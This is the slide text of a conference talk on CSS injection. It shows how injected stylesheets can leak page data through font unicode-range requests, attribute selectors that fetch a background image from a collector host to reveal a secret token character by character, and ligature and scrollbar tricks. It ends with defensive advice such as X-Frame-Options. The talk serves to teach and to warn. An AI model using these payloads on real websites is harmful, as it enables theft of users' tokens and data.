zażółć gęślą jaźń
testy
– Oh my God. I didn't even know Smarties made a cereal.
– They don't. It's just Smarties in a bowl with milk.
- podpunkt
- więcej informacji
Black -
White -
League -
Sky -
Beige -
Simple
Serif -
Blood -
Night -
Moon -
Solarized
Michał Miszczyszyn
Question
Who knows CSS?
Who works on backend?
Who does both very well?
This presentation:
- is about hacking
- we're about to exploit some CSS
This presentation:
- won't be very useful
- works on rare occasions
- is just a PoC
- but I found it very interesting
And here we are.
Assumption: You can inject external CSS code to the website
How?
CSS Injection,
Path Traversal,
MitM,
…
OWASP Top 1 Application Security Risk – 2017
- Injection
Moar questions
Who knows CSS
font-face
?
Who knows
unicode-range
property?
FONT-FACE
/* latin */
@font-face {
font-family: 'Roboto';
font-style: normal;
font-weight: 400;
src: url(https://fonts.gstatic.com/…/roboto.woff2) format('woff2');
unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2212, U+2215;
}
Just latin characters:
/* latin */
@font-face {
src: url(roboto.woff2) format('woff2');
unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2212, U+2215;
}
Latin-extended characters:
/* latin-ext */
@font-face {
src: url(roboto2.woff2) format('woff2');
unicode-range: U+0100-024F, U+1E00-1EFF, U+20A0-20AB, U+20AD-20CF, U+2C60-2C7F, U+A720-A7FF;
}
As a result
roboto-ext.woff2
will be downloaded only if there are latin-extended characters on the webpage
Why?
For performance.
Only download fonts (characters) you need.
i.e. subpages in English, Polish and Arabic
The plan:
- Find CSS injection possibility
- Generate CSS stylesheet
- Have one font-face per each character
This way you narrowed down characters for bruteforcing the token
(or for another attack)
But wait, there's more!
Selectors
Different scenario:
You want to steal a token from input's attribute?
There are several ways to do it.
I'll show you the simplest one.
#secret-token[value^=0] {
background-image: url(http://localhost:3001/token/0);
}
that + iframe + some node.js + refresh a few times =
PWND
Prevent from loading the app in iframes:
Header
X-Frame-Options: DENY
Ligatures
What is a ligature?
It's meant to be more readable and beautiful :)
CSS fonts can define ligatures
- dynamically create a font
- define all characters 0px wide
- define certain ligature to be 10000px wide
- any characters -> not visible
- certain combination of chars -> 10000px
- load the page inside an iframe
- add the CSS
- scrollbar in iframe = match
body::-webkit-scrollbar:horizontal {
background: url(http://localhost:3001/match);
}
- In this presentation I only injected CSS (never JS)
- We rarely think about securing our CSS
- CSS alone can be used for stealing data
Rules of thumb
- Think of making your CSS safe
(just like you do for JS)
- Disallow loading your app in iframes
What if the token is inside a
<script>
tag?
Thank you!